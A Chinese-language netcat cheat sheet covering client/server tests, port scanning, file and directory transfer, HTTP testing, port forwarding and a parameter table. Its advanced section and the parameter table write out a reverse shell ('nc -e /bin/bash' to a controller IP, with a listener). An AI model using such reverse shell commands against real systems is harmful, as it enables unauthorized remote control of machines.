nc
(netcat)命令的功能分类及使用:
最常使用,模拟客户端与服务端
udp:
模拟客户端
nc -u 172.24.200.222 8848
模拟服务端
nc -l -u 172.24.200.222 8848
tcp:
模拟客户端
nc 172.24.200.222 8848
模拟服务端
nc -l 172.24.200.222 8848
🔍 一、端口扫描
-
TCP端口扫描
nc -zv 目标IP 起始端口-结束端口 # 基础扫描 nc -nvv 目标IP 指定端口 # 单端口详细扫描(如80端口)
示例:
nc -zv 192.168.1.100 20-80 # 扫描20-80端口
-
UDP端口扫描
nc -uzv 目标IP 端口范围 # UDP协议扫描
示例:
nc -uzv 8.8.8.8 53 # 测试DNS服务的UDP 53端口
📤 二、文件传输
-
发送文件到远程主机(服务端监听)
# 接收端(服务端) nc -lvp 端口 > 接收文件名 # 监听并保存文件 # 发送端(客户端) nc -nv 目标IP 端口 < 发送文件名 # 发送本地文件
-
接收远程文件(客户端拉取)
# 服务端(发送文件) nc -lvp 端口 < 发送文件名 # 监听并发送文件 # 客户端(接收文件) nc -nv 目标IP 端口 > 保存文件名 # 连接并保存文件
-
目录传输(结合
tar
)# 发送端 tar -cvf - 目录名 | nc -lvp 端口 # 打包并监听发送 # 接收端 nc -nv 目标IP 端口 | tar -xvf - # 接收并解压
⚙️ 三、网络调试与连接
-
TCP/UDP聊天服务器
# 服务端 nc -lvp 端口 # 监听TCP连接 nc -ulvp 端口 # 监听UDP连接 # 客户端 nc 目标IP 端口 # TCP连接 nc -u 目标IP 端口 # UDP连接
-
HTTP请求测试
echo "GET / HTTP/1.1\r\nHost: 域名\r\n\r\n" | nc 目标IP 80 # 手动发送HTTP请求
-
端口转发与代理
nc -lp 本地端口 -c "nc 目标IP 目标端口" # 简单端口转发
🛠️ 四、高级功能
-
反向Shell(远程控制)
# 目标机(反弹连接) nc -e /bin/bash 控制端IP 端口 # 将Shell会话发送至控制端 # 控制端(监听) nc -lvp 端口 # 接收Shell会话
-
加密传输(需结合
openssl
)# 服务端(解密接收) nc -lvp 端口 | openssl enc -d -aes256 -pass pass:密码 > 文件 # 客户端(加密发送) openssl enc -aes256 -pass pass:密码 -in 文件 | nc 目标IP 端口
-
视频/流媒体传输
# 服务端 cat 视频文件 | nc -lvp 端口 # 流式传输视频 # 客户端 nc 目标IP 端口 | mplayer - # 接收并播放(需安装mplayer)
⚠️ 五、参数速查表
参数 | 作用 | 示例 |
---|---|---|
-l | 监听模式(服务端) | nc -lvp 8080 |
-v | 显示详细输出 | nc -zv IP 80 |
-z | 扫描模式(不发送数据) | nc -zv IP 1-100 |
-u | 使用UDP协议 | nc -u IP 53 |
-n | 禁用DNS解析(加速操作) | nc -nvv IP 80 |
-p | 指定本地端口 | nc -lp 9000 |
-e | 执行程序(如反弹Shell) | nc -e /bin/bash IP 端口 |
-w | 超时时间(秒) | nc -w 5 IP 端口 |
-k | 连接断开后保持监听 | nc -klvp 端口 |
💎 六、替代工具建议
- 端口扫描:改用
nmap
(速度更快、功能更强) - 文件传输:优先用
scp
/rsync
(稳定性高) - 加密需求:使用
ncat
(支持SSL/TLS)
通过
man nc
查看完整手册。注意:-e
参数可能被安全软件拦截,生产环境慎用。